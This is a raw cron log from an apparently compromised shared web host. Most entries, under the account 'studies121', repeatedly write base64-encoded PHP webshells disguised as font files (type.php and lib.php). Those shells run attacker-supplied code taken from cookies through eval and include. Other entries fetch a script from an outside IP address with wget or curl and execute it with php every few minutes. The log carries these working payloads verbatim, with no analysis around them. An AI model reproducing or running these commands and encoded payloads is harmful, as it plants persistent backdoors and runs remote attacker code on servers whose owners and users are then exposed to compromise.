Sep  1 09:37:02 ip-184-168-122-23 CROND[30256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:37:02 ip-184-168-122-23 CROND[30257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:37:02 ip-184-168-122-23 CROND[30259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:38:01 ip-184-168-122-23 CROND[30441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:38:01 ip-184-168-122-23 CROND[30443]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:38:01 ip-184-168-122-23 CROND[30444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:38:01 ip-184-168-122-23 CROND[30445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:38:01 ip-184-168-122-23 CROND[30446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:39:01 ip-184-168-122-23 CROND[30597]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:39:01 ip-184-168-122-23 CROND[30599]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 09:39:01 ip-184-168-122-23 CROND[30600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:39:01 ip-184-168-122-23 CROND[30602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:39:01 ip-184-168-122-23 CROND[30603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:40:01 ip-184-168-122-23 CROND[30711]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:40:01 ip-184-168-122-23 CROND[30712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:40:01 ip-184-168-122-23 CROND[30715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:40:01 ip-184-168-122-23 CROND[30716]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 09:40:01 ip-184-168-122-23 CROND[30718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:40:01 ip-184-168-122-23 CROND[30720]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:40:01 ip-184-168-122-23 CROND[30719]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:40:01 ip-184-168-122-23 CROND[30721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:41:01 ip-184-168-122-23 CROND[30863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:41:01 ip-184-168-122-23 CROND[30865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:41:01 ip-184-168-122-23 CROND[30867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:41:01 ip-184-168-122-23 CROND[30868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:42:01 ip-184-168-122-23 CROND[30985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:42:01 ip-184-168-122-23 CROND[30989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:42:01 ip-184-168-122-23 CROND[30990]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:42:01 ip-184-168-122-23 CROND[30987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:42:01 ip-184-168-122-23 CROND[30988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:43:01 ip-184-168-122-23 CROND[31193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:43:01 ip-184-168-122-23 CROND[31194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:43:01 ip-184-168-122-23 CROND[31196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:43:01 ip-184-168-122-23 CROND[31197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:44:01 ip-184-168-122-23 CROND[31298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:44:01 ip-184-168-122-23 CROND[31301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:44:01 ip-184-168-122-23 CROND[31300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:44:01 ip-184-168-122-23 CROND[31302]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:44:01 ip-184-168-122-23 CROND[31303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:45:01 ip-184-168-122-23 CROND[31417]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:45:01 ip-184-168-122-23 CROND[31418]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:45:01 ip-184-168-122-23 CROND[31422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:45:01 ip-184-168-122-23 CROND[31421]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:45:01 ip-184-168-122-23 CROND[31423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:45:01 ip-184-168-122-23 CROND[31420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:46:01 ip-184-168-122-23 CROND[31579]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:46:01 ip-184-168-122-23 CROND[31580]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 09:46:01 ip-184-168-122-23 CROND[31583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:46:01 ip-184-168-122-23 CROND[31586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:46:01 ip-184-168-122-23 CROND[31585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:46:01 ip-184-168-122-23 CROND[31588]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 09:46:01 ip-184-168-122-23 CROND[31587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:47:01 ip-184-168-122-23 CROND[31725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:47:01 ip-184-168-122-23 CROND[31728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:47:01 ip-184-168-122-23 CROND[31727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:47:01 ip-184-168-122-23 CROND[31729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:48:01 ip-184-168-122-23 CROND[31827]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:48:01 ip-184-168-122-23 CROND[31830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:48:01 ip-184-168-122-23 CROND[31832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:48:01 ip-184-168-122-23 CROND[31835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:48:01 ip-184-168-122-23 CROND[31836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:49:01 ip-184-168-122-23 CROND[32038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:49:01 ip-184-168-122-23 CROND[32037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
